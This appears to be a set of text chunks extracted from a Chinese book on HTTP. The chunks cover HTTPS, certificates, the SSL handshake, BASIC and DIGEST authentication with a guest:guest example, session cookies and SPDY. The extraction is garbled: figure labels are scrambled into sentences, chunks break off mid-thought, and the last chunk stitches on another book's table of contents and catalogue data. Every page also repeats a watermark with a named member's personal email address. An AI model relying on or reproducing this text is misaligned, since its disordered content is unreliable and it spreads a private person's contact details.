    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 144 图：Wireshark（http://www.wireshark.org/） ■加密处理防止被窃听 在目前大家正在研究的如何防止窃听保护信息的几种对策中，最为 普及的就是加密技术。"},
    {"text": "HTTP 协议中没有加密机制，但可以通 过和 SSL（Secure Socket Layer，安全套接层）或 TLS（Transport Layer Security，安全层传输协议）的组合使用，加密 HTTP 的通信内容。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 7 章 确保 Web 安全的 HTTPS 安全的通信线路 客户端 服务器 服务器与客户端之间建立起安全的通信线路之后开始通信 请求 响应 客户端 服务器 内容的加密 还有一种将参与通信的内容本身加密的方式。"},
    {"text": "由于 HTTP 协议中没 有加密机制，那么就对 HTTP 协议传输的内容本身加密。 即把 HTTP 报 文里所含的内容进行加密处理。 145 在这种情况下，客户端需要对 HTTP 报文进行加密处理后再发送 请求。 这里未被加密 处理 报文首部 报文主体 这里面的内容会被加密处理 （通信本 身是不加密的） 诚然，为了做到有效的内容加密，前提是要求客户端和服务器同时 具备加密和解密机制。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 7.1.2 不验证通信方的身份就可能遭遇伪装 HTTP 协议中的请求和响应不会对通信方进行确认。"},
    {"text": "另外，服务器只要接收到请求，不管对方是谁都会返 回一个响应（但也仅限于发送端的 IP 地址和端口号没有被 Web 服务器 设定限制访问的前提下）。 不管你们是谁我 都会接受的 客户端 146 客户端 服务器 对请求来者不拒 客户端 HTTP 协议的实现本身非常简单，不论是谁发送过来的请求都会返 回响应，因此不确认通信方，会存在以下各种隐患。"},
    {"text": "■查明对手的证书 虽然使用 HTTP 协议无法确定通信方，但如果使用 SSL 则可以。 SSL 不仅提供加密处理，而且还使用了一种被称为证书的手段，可用于 确定方。"},
    {"text": "我已确认，这台服务器 客户端在开始通信之前先确认 147 的确是A公司的Web网 服务器的证书 站服务器 证书 值得信赖的 客户端 第三方 嗯，看来我准备访问的 A 公司的 值得信赖的第三方是指 就 是 A 公 司 的 Web 网 站 Web 网站服务器 普遍已获得社会认可的 的服务器 企业或组织机构。"},
    {"text": "■接收到的内容可能有误 由于 HTTP 协议无法证明通信的报文完整性，因此，在请求或响应 送出之后直到对方接收之前的这段时间内，即使请求或响应的内容遭到 篡改，也没有办法获悉。"},
    {"text": "中途可能被篡改 B A 148 无法判断A和B是相同的 客户端 服务器 比如，从某个 Web 网站上下载内容，是无法确定客户端下载的文 件和服务器上存放的文件是否前后一致的。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 7 章 确保 Web 安全的 HTTPS 原本想在服务器与客户端之间进行通信…… 客户端 服务器 攻击者杀入，从中窃取请求和响应 呵 呵 呵 客户端 攻击者 服务器 攻击人会随意篡改请求和响应，而让客户端与服务器之间的 通信看上去仍旧是正常的。"},
    {"text": "提供文件下载服务的 Web 网站也会提供相应的以 PGP（Pretty Good Privacy，完美隐私）创建的数字签名及 MD5 算法生成的散列值。 PGP 是用来证明创建文件的数字签名，MD5 是由单向函数生成的散列值。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 不论使用哪一种方法，都需要操纵客户端的用户本人亲自检查验证下载 的文件是否就是原来服务器上的文件。"},
    {"text": "7.2 HTTP+ 加密 + 认证 + 完整性保护 =HTTPS 7.2.1 HTTP 加上加密处理和认证以及完整性保护后即是 HTTPS 如果在 HTTP 协议通信过程中使用未经加密的明文，比如在 Web 页面 中输入信用卡号，如果这条通信线路遭到窃听，那么信用卡号就暴露了。"},
    {"text": "HTTP+ 通信加密 + 证书 + 完整性保护 证书 客户端 服务器 证书可证明服务器或客户端的身份 证书 图：使用 HTTPS 通信 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 7 章 确保 Web 安全的 HTTPS 经常会在 Web 的登录页面和购物结算界面等使用 HTTPS 通信。"},
    {"text": "当 使 用 SSL 时， 则 演 变 成 先 和 SSL 通信，再由 SSL 和 TCP 通信了。 简言之，所谓 HTTPS，其实就是 身披 SSL 协议这层外壳的 HTTP。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 应用 应用 （HTTP） （HTTP） SSL TCP TCP IP IP HTTP HTTPS 在采用 SSL 后，HTTP 就拥有了 HTTPS 的加密、证书和完整性保 护这些功能。 SSL 是独立于 HTTP 的协议，所以不光是 HTTP 协议，其他运行在 应用层的 SMTP 和 Telnet 等协议均可配合 SSL 协议使用。 可以说 SSL 是当今世界上应用最为广泛的网络安全技术。"},
    {"text": "152 7.2.3 相互交换密钥的公开密钥加密技术 在对 SSL 进行讲解之前，我们先来了解一下加密方法。 SSL 采用一 种叫做公开密钥加密（Public-key cryptography）的加密处理方式。"},
    {"text": "通过这 种方式得以保持加密方法的安全性。 加密和解密都会用到密钥。 没有密钥就无法对密码解密，反过来 说，任何人只要持有密钥就能解密了。 如果密钥被攻击者获得，那加密 也就失去了意义。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 7 章 确保 Web 安全的 HTTPS 加密解密使用 相同的密钥 客户端 服务器 呵呵呵 只要拿到密钥， 任何人都能破解 密码 攻击者 153 以共享密钥方式加密时必须将密钥也发给对方。"},
    {"text": "图：密钥发送问题 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 ■使用两把密钥的公开密钥加密 公开密钥加密方式很好地解决了共享密钥加密的困难。"},
    {"text": "公开密钥加密使用一对非对称的密钥。 一把叫做私有密钥（private key），另一把叫做公开密钥（public key）。 顾名思义，私有密钥不能让 其他任何人知道，而公开密钥则可以随意发布，任何人都可以获得。 使用公开密钥加密方式，发送密文的一方使用对方的公开密钥进行 加密处理，对方收到被加密的信息后，再使用自己的私有密钥进行解 密。"},
    {"text": "154 公开密钥可 转交给任何人 公开密钥 私有密钥 公开密钥 公开密钥和私有密钥 是配对的一套密钥 公开密钥 私有密钥 使用公开密钥 使用私有密钥 进行加密 进行解密 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 7 章 确保 Web 安全的 HTTPS ■HTTPS 采用混合加密机制 HTTPS 采用共享密钥加密和公开密钥加密两者并用的混合加密机 制。"},
    {"text": "在交换密钥环节使用公开密钥加密方式，之后的建立通信交换报文阶段 则使用共享密钥加密方式。 公开密钥加密处理起来比共享密钥加密方式更为复杂，因此若在通 信时使用公开密钥加密方式，效率就很低 ①使用公开密钥加密方式安全地交换在稍后的共享密钥加密中要使用的密钥 公开密钥加密 155 客户端 公开密钥加密 服务器 ②确保交换的密钥是安全的前提下，使用共享密钥加密方式进行通信 共享密钥加密 客户端 共享密钥加密 服务器 共享密钥加密 共享密钥加密 … 图：混合加密机制 7.2.4 证明公开密钥正确性的证书 遗憾的是，公开密钥加密方式还是存在一些问题的。"},
    {"text": "比如，正准备和某台服务器 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 建立公开密钥加密方式下的通信时，如何证明收到的公开密钥就是原本 预想的那台服务器发行的公开密钥。"},
    {"text": "数字证书认证机构 在判明提出申请者的身份之后，会对已申请的公开密钥做数字签名，然 后分配这个已签名的公开密钥，并将该公开密钥放入公钥证书后绑定在 一起。 服务器会将这份由数字证书认证机构颁发的公钥证书发送给客户 156 端，以进行公开密钥加密方式通信。 公钥证书也可叫做数字证书或直接 称为证书。 接到证书的客户端可使用数字证书认证机构的公开密钥，对那张证 书上的数字签名进行验证，一旦验证通过，客户端便可明确两件事： 一，认证服务器的公开密钥的是真实有效的数字证书认证机构。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 7 章 确保 Web 安全的 HTTPS 数字证书认证机构的私有密钥 ②数字证书认证机构用自己的私有密钥向服务 数字证书认证机构 器的公开密码署数字签名并颁发公钥证书 的公开密钥已事先 数字证书认证机构 植入到浏览器里了 ①服务器把自己的公开密钥 登录至数字证书认证机构 ③客户端拿到服务器的公 钥证书后，使用数字证 书 认 证 机 构 的 公 开 密 服务器的 钥，向数字证书认证机 公开密钥 服务器的 构验证公钥证书上的数 公开密钥 字签名，以确认服务器 ＋ 的公开密钥的真实性 数字证书认证 机构的数字签名 公钥证书 服务器的 私有密钥 ⑤服务器用私 157 ④使用服务器的公开密钥对报 有密钥对报 客户端 文加密后发送 服务器 文解密 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 ■可证明组织真实性的EV●SSL 证书 证书的一个作用是用来证明作为通信一方的服务器是否规范，另外 一个作用是可确认对方服务器背后运营的企业是否真实存在。"},
    {"text": "■用以确认客户端的客户端证书 HTTPS 中还可以使用客户端证书。 以客户端证书进行客户端认证， 证明服务器正在通信的对方始终是预料之内的客户端，其作用跟服务器 证书如出一辙。"},
    {"text": "但客户端证书仍存在几处问题点。 其中的一个问题点是证书的获取 及发布。 想获取证书时，用户得自行安装客户端证书。 但由于客户端证书是 要付费购买的，且每张证书对应到每位用户也就意味着需支付和用户数 对等的费用。 另外，要让知识层次不同的用户们自行安装证书，这件事 本身也充满了各种挑战。"},
    {"text": "虽然存在可将证书无效化的证书吊销列表（Certificate Revocation List，CRL）机制，以及从客户端删除根证书颁发机构（Root Certificate Authority，RCA）的对策，但是距离生效还需要一段时间，而在这段时 间内，到底会有多少用户的利益蒙受损失就不得而知了。"},
    {"text": "■由自认证机构颁发的证书称为自签名证书 如果使用 OpenSSL 这套开源程序，每个人都可以构建一套属于自 己的认证机构，从而自己给自己颁发服务器证书。"},
    {"text": "浏览器访问该服务器时，会显示“无法确认连接安全性”或“该网 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 站的安全证书存在问题”等警告消息。"},
    {"text": "值得信赖的第三方机构介入认证，才能让已植入在浏览器内的认证 机构颁布的公开密钥发挥作用，并借此证明服务器的真实性。 中级认证机构的证书可能会变成自认证证书 多数浏览器内预先已植入备受信赖的认证机构的证书，但也有一小 部分浏览器会植入中级认证机构的证书。 对于中级认证机构颁发的服务器证书，某些浏览器会以正规的证书 来对待，可有的浏览器会当作自签名证书。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 7 章 确保 Web 安全的 HTTPS 7.2.5 HTTPS 的安全通信机制 为了更好地理解 HTTPS，我们来观察一下 HTTPS 的通信步骤。 1 Handshake: ClientHello 客户端 2 服务器 Handshake: ServerHello 3 Handshake: Certificate 4 Handshake: ServerHelloDone 5 Handshake: ClientKeyExchange 6 ChangeCipherSpec 7 161 Handshake: Finished 8 ChangeCipherSpec 9 Handshake: Finished 10 Application Data（HTTP） 11 （HTTP） Application Data 12 Alert: warning, close notify 图：HTTPS 通信 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 步骤 1：● ●客户端通过发送 Client Hello 报文开始 SSL 通信。"},
    {"text": "步骤 4： 最后服务器发送 Server Hello Done 报文通知客户端，最初 阶段的 SSL 握手协商部分结束。 步骤 5： SSL 第一次握手结束之后，客户端以 Client Key Exchange 报文作为回应。"},
    {"text": "用私用密钥解密 私有密钥 共享密钥加密的密钥 pre-master secret 报文校验码的密钥 配对密钥 生成 CBC 模式①的初始向量 生成 master secret 00100 00100 00100 10101 10101 10101 01010 01010 01010 公开密钥证书 服务器 （服务器证书） 发送公开密钥证书 ● 共享密钥加密的密钥 163 ● 报文校验码的密钥 00100 协商决定 10101 ● 生成 CBC 的初始向量， 开始 加密组件 01010 服务器→用于客户端， 加密通信 发送已加密的 以及客户端→用于服务 pre-master secret 器的 6 份信息 00100 使用服务器上的公开 10101 共享密钥加密的密钥 01010 密钥对 pre-master 报文校验码的密钥 secret 加密处理 确认证书的有效性 生成 CBC 模式 的初始向量 生成 生成 pre-master 00100 master secret 00100 10101 10101 取出 secret 01010 01010 公开密钥 客户端 ( 随机数 ) ■SSL 和 TLS● HTTPS 使 用 SSL（Secure Socket Layer） 和 TLS（Transport Layer Security）这两个协议。"},
    {"text": "——译者注 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 SSL 技术最初是由浏览器开发商网景通信公司率先倡导的，开发过 SSL3.0 之前的版本。"},
    {"text": "164 由于HTTPS还需要做服务器、客户端双方加密及 解密处理，因此会消耗CPU和内存等硬件资源 SSL HTTP 请求 HTTP 响应 和 HTTP 通信相比，SSL 通信部分消耗网络资源。 客户端 而 SSL 通信部分，又因为要对通信进行处理，所 服务器 以时间上又延长了 图：HTTPS 比 HTTP 要慢 2 到 100 倍 SSL 的慢分两种。"},
    {"text": "其中一个原因是，因为与纯文本通信相比，加密通信会消耗更多的 165 CPU 及内存资源。 如果每次通信都加密，会消耗相当多的资源，平摊到一 台计算机上时，能够处理的请求数量必定也会随之减少。"},
    {"text": "166 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Chapter8 第 8 章 确认访问用户身份的认证 某些 Web 页面只想让特定的人浏览，或者干脆仅本人可见。"},
    {"text": "● ● 密码：只有本人才会知道的字符串信息。 ● ● ● 动态令牌：仅限本人持有的设备内显示的一次性密码。 ● ● ● 数字证书：仅限本人（终端）持有的信息。"},
    {"text": "● ● BASIC 认证（基本认证） ● ● ● DIGEST 认证（摘要认证） ● ● ● SSL 客户端认证● ● ● FormBase 认证（基于表单认证） 此外，还有 Windows 统一认证（Keberos 认证、NTLM 认证），但 本书不作讲解。 8.2 BASIC 认证 BASIC 认证（基本认证）是从 HTTP/1.0 就定义的认证方式。"},
    {"text": "BASIC 认证的认证步骤 发送请求 GET /private/ HTTP/1.1 Host: hackr.jp 客户端 ①返回状态码 401 以告知客户端需要进行认证 HTTP/1.1 401 Authorization Required Date: Mon, 19 Sep 2011 08:38:32 GMT Server: Apache/2.2.3 (Unix) 服务器 WWW-Authenticate: Basic realm=\"Input Your ID and Password.\" ②用户 ID 和密码以 Base64 方式编码后发送 guest:guest → Base64 → Z3Vlc3Q6Z3Vlc3Q= GET /private/ HTTP/1.1 Host: hackr.jp Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= ③认证成功者返回状态码 200，若认证失败则返回状态码 401 HTTP/1.1 200 OK Date: Mon, 19 Sep 2011 08:38:35 GMT Server: Apache/2.2.3 (Unix) 图：BASIC 认证概要 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 步骤 1： 当请求的资源需要 BASIC 认证时，服务器会随状态码 401 Authorization Required， 返 回 带 WWW-Authenticate 首 部 字 段的响 应。"},
    {"text": "发送的字符串内容是由 用户 ID 和密码构成，两者中间以冒号（:）连接后，再经 过 Base64 编码处理。 假设用户 ID 为 guest，密码是 guest，连接起来就会形成 guest:guest 这样的字符串。"},
    {"text": "换言之，由于明文解码后就是用户 ID 和密码，在 HTTP 等非加密通信的线路上进行 BASIC 认证的过程中， 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 8 章 确认访问用户身份的认证 如果被人窃听，被盗的可能性极高。"},
    {"text": "另外，除此之外想再进行一次 BASIC 认证时，一般的浏览器却无 法实现认证注销操作，这也是问题之一。 BASIC 认证使用上不够便捷灵活，且达不到多数 Web 网站期望的 安全性等级，因此它并不常用。"},
    {"text": "8.3 DIGEST 认证 为弥补 BASIC 认证存在的弱点，从 HTTP/1.1 起就有了 DIGEST 认 证。 DIGEST 认证同样使用质询 / 响应的方式（challenge/response），但 不会像 BASIC 认证那样直接发送明文密码。"},
    {"text": "所谓质询响应方式是指，一开始一方会先发送认证要求给另一方， 接着使用从另一方那接收到的质询码计算生成响应码。 最后将响应码返 回给对方进行认证的方式。"},
    {"text": "171 认证要求 客户端 质询码 从质询计算 响应 响应码 服务器 因为发送给对方的只是响应摘要及由质询码产生的计算结果，所以 比起 BASIC 认证，密码泄露的可能性就降低了。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 DIGEST 认证的认证步骤 发送请求 GET /digest/ HTTP/1.1 Host: hackr.jp 客户端 ①发送临时的质询码（随机数，nonce）以及告知需要认证的 状态码 401 HTTP/1.1 401 Authorization Required WWW-Authenticate: Digest realm=\"DIGEST\", nonce=\"MOSQZ0itBAA=44abb6784cc9cbfc605a5b0893d36f23de 服务器 95fcff\", algorithm=MD5, qop=\"auth\" ②发送摘要以及由质询码计算出的响应码（response） GET /digest/ HTTP/1.1 Host: hackr.jp Authorization: Digest username=\"guest\", realm=\"DIGEST\", nonce=\"MOSQZ0itBAA=44abb6784cc9cbfc605a5b0893d36f23de95f cff\", uri=\"/digest/\", algorithm=MD5, response=\"df56389ba3f7c52e9d7551115d67472f\", qop=auth, nc=00000001, cnonce=\"082c875dcb2ca740\" ③认证成功返回状态码 200，失败则再次发送状态码 401 HTTP/1.1 200 OK 172 Authentication-Info: rspauth=\"f218e9ddb407a3d16f2f7d2c4097e900\", cnonce=\"082c875dcb2ca740\", nc=00000001, qop=auth 图：DIGEST 认证概要 步骤 1： 请求需认证的资源时，服务器会随着状态码 401 Authorization Required，返回带 WWW-Authenticate 首部字段的响应。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 8 章 确认访问用户身份的认证 首 部 字 段 Authorization 内 必 须 包 含 username、realm、 nonce、uri 和 response 的字段信息。"},
    {"text": "DIGEST 认证提供了高于 BASIC 认证的安全等级，但是和 HTTPS 的客户端认证相比仍旧很弱。 DIGEST 认证提供防 止密码被窃听的保护机制，但并不存在防止用户伪装的保 护机制。 DIGEST 认证和 BASIC 认证一样，使用上不那么便捷灵 活，且仍达不到多数 Web 网站对高度安全等级的追求标 准。"},
    {"text": "8.4 SSL 客户端认证 从使用用户 ID 和密码的认证方式方面来讲，只要二者的内容正确， 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 即可认证是本人的行为。"},
    {"text": "利用 SSL 客户端认证则可以避免该情况的发生。 SSL 客户端认证是借由 HTTPS 的客户端证书完成认证的方式。 凭 借客户端证书（在 HTTPS 一章已讲解）认证，服务器可确认访问是否 来自已登录的客户端。 8.4.1 SSL 客户端认证的认证步骤 为达到 SSL 客户端认证的目的，需要事先将客户端证书分发给客户 端，且客户端必须安装此证书。 步骤 1： 接收到需要认证资源的请求，服务器会发送 Certificate Request 报文，要求客户端提供客户端证书。 步骤 2： 用户选择将发送的客户端证书后，客户端会把客户端证书 信息以 Client Certificate 报文方式发送给服务器。 174 图：选择客户端证书示例（三菱东京 UFJ 银行） 步骤 3： 服务器验证客户端证书验证通过后方可领取证书内客户端 的公开密钥，然后开始 HTTPS 加密通信。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 8 章 确认访问用户身份的认证 8.4.2 SSL 客户端认证采用双因素认证 在多数情况下，SSL 客户端认证不会仅依靠证书完成认证，一般会 和基于表单认证（稍后讲解）组合形成一种双因素认证（Two-factor authentication）来使用。 所谓双因素认证就是指，认证过程中不仅需要 密码这一个因素，还需要申请认证者提供其他持有信息，从而作为另一 个因素，与其组合使用的认证方式。 换言之，第一个认证因素的 SSL 客户端证书用来认证客户端计算 机，另一个认证因素的密码则用来确定这是用户本人的行为。 通过双因素认证后，就可以确认是用户本人正在使用匹配正确的计 算机访问服务器。"},
    {"text": "8.4.3 SSL 客户端认证必要的费用 使用 SSL 客户端认证需要用到客户端证书。 而客户端证书需要支 175 付一定费用才能使用。 这里提到的费用是指，从认证机构购买客户端证书的费用，以及服 务器运营者为保证自己搭建的认证机构安全运营所产生的费用。 每个认证机构颁发客户端证书的费用不尽相同，平摊到一张证书 上，一年费用约几万至十几万日元。 服务器运营者也可以自己搭建认证 机构，但要维持安全运行就会产生相应的费用。"},
    {"text": "客户端会向服 务器上的 Web 应用程序发送登录信息（Credential），按登录信息的验证 结果认证。 根据 Web 应用程序的实际安装，提供的用户界面及认证方式也各 不相同。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图：基于表单认证示例（Google） 176 多数情况下，输入已事先登录的用户 ID（通常是任意字符串或邮件 地址）和密码等登录信息后，发送给 Web 应用程序，基于认证结果来 决定认证是否成功。 8.5.1 认证多半为基于表单认证 由于使用上的便利性及安全性问题，HTTP 协议标准提供的 BASIC 认证和 DIGEST 认证几乎不怎么使用。"},
    {"text": "比如 SSH 和 FTP 协议，服务器与客户端之间的认证是合乎标准规 范的，并且满足了最基本的功能需求上的安全使用级别，因此这些协议 的认证可以拿来直接使用。"},
    {"text": "如果是全面考虑过安全性能而实现的表单认证，那么 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 8 章 确认访问用户身份的认证 就能够具备高度的安全等级。"},
    {"text": "177 客户端 服务器 ① 发送已登录信息（用户ID，密码） 向用户发放 Session ID，记录认证状态 ② 发送包含Session ID的Cookie Set-Cookie: PHPSESSID=028a8c...; 通 过 验 证 Session ③ 发送包含Session ID的Cookie ID 来判定对方是真 Cookie: PHPSESSID=028a8c... 实用户 图：Session 管理及 Cookie 状态管理 步骤 1： 客户端把用户 ID 和密码等登录信息放入报文的实体部分， 通常是以 POST 方法把请求发送给服务器。"},
    {"text": "通过验证从客 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 户端发送过来的登录信息进行身份认证，然后把用户的认 证状态与 Session ID 绑定后记录在服务器端。"},
    {"text": "然而，如果 Session ID 被第三方盗走，对方就可以伪装成你的 身份进行恶意操作了。 因此必须防止 Session ID 被盗，或被 猜出。 为了做到这点，Session ID 应使用难以推测的字符串， 且服务器端也需要进行有效期的管理，保证其安全性。"},
    {"text": "步骤 3： 客户端接收到从服务器端发来的 Session ID 后，会将其作 为 Cookie 保存在本地。 下次向服务器发送请求时，浏览器 178 会自动发送 Cookie，所以 Session ID 也随之发送到服务器。 服务器端可通过验证接收到的 Session ID 识别用户和其认 证状态。"},
    {"text": "——译者注 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Chapter9 第 9 章 基于 HTTP 的功能追加协议 虽然 HTTP 协议既简单又简捷，但随着时代的发展，其功能使用上 捉襟见肘的疲态已经凸显。"},
    {"text": "180 9.2 消除 HTTP 瓶颈的 SPDY Google 在 2010 年发布了 SPDY（取自 SPeeDY，发音同 speedy）， 其开发目标旨在解决 HTTP 的性能瓶颈，缩短 Web 页面的加载时间 （50%）。 ● ● SPDY●-●The●Chromium●Projects http://www.chromium.org/spdy/ 9.2.1 HTTP 的瓶颈 在 Facebook 和 Twitter 等 SNS 网站上，几乎能够实时观察到海量用 户公开发布的内容，这也是一种乐趣。"},
    {"text": "为了尽可能实时地显示这些更新的内容，服务器上一有内容更新， 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 9 章 基于 HTTP 的功能追加协议 就需要直接把那些内容反馈到客户端的界面上。"},
    {"text": "181 客户端 服务器 发送确认 请求 更新情况 的请求 响应 不管是否有更新， 都要把数据全部 再发送一次 请求 每次都互相发送相同的首部 有时不压 响应 缩数据直 接发送 图：以前的 HTTP 通信 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Ajax 的解决方法 Ajax（Asynchronous JavaScript and XML， 异 步 JavaScript 与 XML 技术）是一种有效利用 JavaScript 和 DOM（Document Object Model，文 档对象模型）的操作，以达到局部 Web 页面替换加载的异步通信手段。"},
    {"text": "182 客户端 服务器 发送确认 请求 更新情况 的请求 响应 < 页 面 的 局 部 更 新可能实现 > 请求 每次都互相发送相同的首部 有时不压 响应 缩数据直 接发送 图：Ajax 通信 Comet 的解决方法 一旦服务器端有内容更新了，Comet 不会让请求等待，而是直接给 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 9 章 基于 HTTP 的功能追加协议 客户端返回响应。"},
    {"text": "通常，服务器端接收到请求，在处理完毕后就会立即返回响应，但 为了实现推送功能，Comet 会先将响应置于挂起状态，当服务器端有内 容更新时，再返回该响应。"},
    {"text": "客户端 服务器 发送确认 请求 183 更新情况 < 保留响应直 的请求 到服务器内容 有更新 > 响应 一旦更新可立即 < 可 实 现 页 面 的 返回响应 局部更新 > 请求 每次都互相发送相同的首部 响应 有时不压缩数 据直接发送 图：Comet 通信 SPDY 的目标 陆续出现的 Ajax 和 Comet 等提高易用性的技术，一定程度上使 HTTP 得到了改善，但 HTTP 协议本身的限制也令人有些束手无策。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 处于持续开发状态中的 SPDY 协议，正是为了在协议级别消除 HTTP 所遭遇的瓶颈。 9.2.2 SPDY 的设计与功能 SPDY 没有完全改写 HTTP 协议，而是在 TCP/IP 的应用层与运输 层之间通过新加会话层的形式运作。"},
    {"text": "赋予请求优先级 SPDY 不仅可以无限制地并发处理请求，还可以给请求逐个分配优 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 9 章 基于 HTTP 的功能追加协议 先级顺序。"},
    {"text": "推送功能 支持服务器主动向客户端推送数据的功能。 这样，服务器可直接发 送数据，而不必等待客户端的请求。 服务器提示功能 服务器可以主动提示客户端请求所需的资源。"},
    {"text": "185 9.2.3 SPDY 消除 Web 瓶颈了吗 希望使用 SPDY 时，Web 的内容端不必做什么特别改动，而 Web 浏览器及 Web 服务器都要为对应 SPDY 做出一定程度上的改动。"},
    {"text": "因为 SPDY 基本上只是将单个域名（IP 地址）的通信多路复用， 所以当一个 Web 网站上使用多个域名下的资源，改善效果就会受到 限制。 SPDY 的确是一种可有效消除 HTTP 瓶颈的技术，但很多 Web 网 站存在的问题并非仅仅是由 HTTP 瓶颈所导致。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 9.3 使用浏览器进行全双工通信的 WebSocket 利用 Ajax 和 Comet 技术进行通信可以提升 Web 的浏览速度。"},
    {"text": "5.3.4 RARP 5.3.5 代理ARP 5.4 ICMP 5.4.1 辅助IP的ICMP 5.4.2 主要的ICMP消息 5.4.3 其他ICMP消息 5.4.4 ICMPv6 5.5 DHCP 5.5.1 DHCP实现即插即用 5.5.2 DHCP的工作机制 5.5.3 DHCP中继代理 5.6 NAT 5.6.1 NAT定义 5.6.2 NAT的工作机制 5.6.3 NAT-PT（NAPT-PT） 5.6.4 NAT的潜在问题 5.6.5 解决NAT的潜在问题与NAT穿越 5.7 IP隧道 5.8 其他IP相关技术 5.8.1 IP多播相关技术 5.8.2 IP任播 5.8.3 通信质量控制 5.8.4 显式拥塞通知 5.8.5 Mobile IP 第6章 TCP与UDP 6.1 传输层的作用 6.1.1 传输层定义 6.1.2 通信处理 6.1.3 两种传输层协议TCP和UDP 6.1.4 TCP与UDP区分 6.2 端口号 6.2.1 端口号定义 6.2.2 根据端口号识别应用 6.2.3 通过IP地址、端口号、协议号进行通信识别 6.2.4 端口号如何确定 6.2.5 端口号与协议 6.3 UDP 6.4 TCP 6.4.1 TCP的特点及其目的 6.4.2 通过序列号与确认应答提高可靠性 6.4.3 重发超时如何确定 6.4.4 连接管理 6.4.5 TCP以段为单位发送数据 6.4.6 利用窗口控制提高速度 6.4.7 窗口控制与重发控制 6.4.8 流控制 6.4.9 拥塞控制 6.4.10 提高网络利用率的规范 6.4.11 使用TCP的应用 6.5 其他传输层协议 6.5.1 UDP-Lite 6.5.2 SCTP 6.5.3 DCCP 6.6 UDP首部的格式 6.7 TCP首部格式 第7章 路由协议 7.1 路由控制的定义 7.1.1 IP地址与路由控制 7.1.2 静态路由与动态路由 7.1.3 动态路由的基础 7.2 路由控制范围 7.2.1 接入互联网的各种组织机构 7.2.2 自治系统与路由协议 7.2.3 IGP与EGP 7.3 路由算法 7.3.1 距离向量算法 7.3.2 链路状态算法 7.3.3 主要路由协议 7.4 RIP 7.4.1 广播路由控制信息 7.4.2 根据距离向量确定路由 7.4.3 使用子网掩码时的RIP处理 7.4.4 RIP中路由变更时的处理 7.4.5 RIP2 7.5 OSPF 7.5.1 OSPF是链路状态型路由协议 7.5.2 OSPF基础知识 7.5.3 OSPF工作原理概述 7.5.4 将区域分层化进行细分管理 7.6 BGP 7.6.1 BGP与AS号 7.6.2 BGP是路径向量协议 7.7 MPLS 7.7.1 MPLS的网络基本动作 7.7.2 MPLS的优点 第8章 应用协议 8.1 应用层协议概要 8.2 远程登录 8.2.1 TELNET 8.2.2 SSH 8.3 文件传输 8.4 电子邮件 8.4.1 电子邮件的工作机制 8.4.2 邮件地址 8.4.3 MIME 8.4.4 SMTP 8.4.5 POP 8.4.6 IMAP 8.5 WWW 8.5.1 互联网的蓬勃发展 8.5.2 WWW基本概念 8.5.3 URI 8.5.4 HTML 8.5.5 HTTP 8.5.6 JavaScript、CGI、Cookie 8.6 网络管理 8.6.1 SNMP 8.6.2 MIB 8.6.3 RMON 8.6.4 SNMP应用举例 8.7 其他应用层协议 8.7.1 多媒体通信实现技术 8.7.2 P2P 8.7.3 LDAP 第9章 网络安全 9.1 TCP/IP与网络安全 9.2 网络安全构成要素 9.2.1 防火墙 9.2.2 IDS（入侵检测系统） 9.2.3 反病毒/个人防火墙 9.3 加密技术基础 9.3.1 对称密码体制与公钥密码体制 9.3.2 身份认证技术 9.4 安全协议 9.4.1 IPsec与VPN 9.4.2 TLS/SSL与HTTPS 9.4.3 IEEE802.1X 附录 附1 互联网上便捷的资源 附1.1 国际 附1.2 日本 附2 IP地址分类（A、B、C类）相关基础知识 附2.1 A类 附2.2 B类 附2.3 C类 附3 物理层 附3.1 物理层相关基础知识 附3.2 0/1编码 附4 传输介质相关基础知识 附4.1 同轴电缆 附4.2 双绞线 附4.3 光纤电缆 附4.4 无线 附5 插页导图\n图书在版编目（CIP）数据 图解TCP/IP：第5版/（日）竹下隆史等著； 乌尼日其其格译．--北京：人民邮电出版社，2013.6 （图灵程序设计丛书） ISBN 978-7-115-31897-8 Ⅰ. ①图… Ⅱ. ①竹… ②乌… Ⅲ. ①计算机网络—通信协议 Ⅳ. ①TN915.04 中国版本图书馆CIP数据核字（2013）第111114号 著 ［日］竹下隆史 村山公保 荒井透 苅田幸雄 译 乌尼日其其格 责任编辑 乐馨 执行编辑 金松月 责任印制 焦志炜 ◆人民邮电出版社出版发行 北京市崇文区夕照寺街14号 邮编 100061 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 北京 印刷 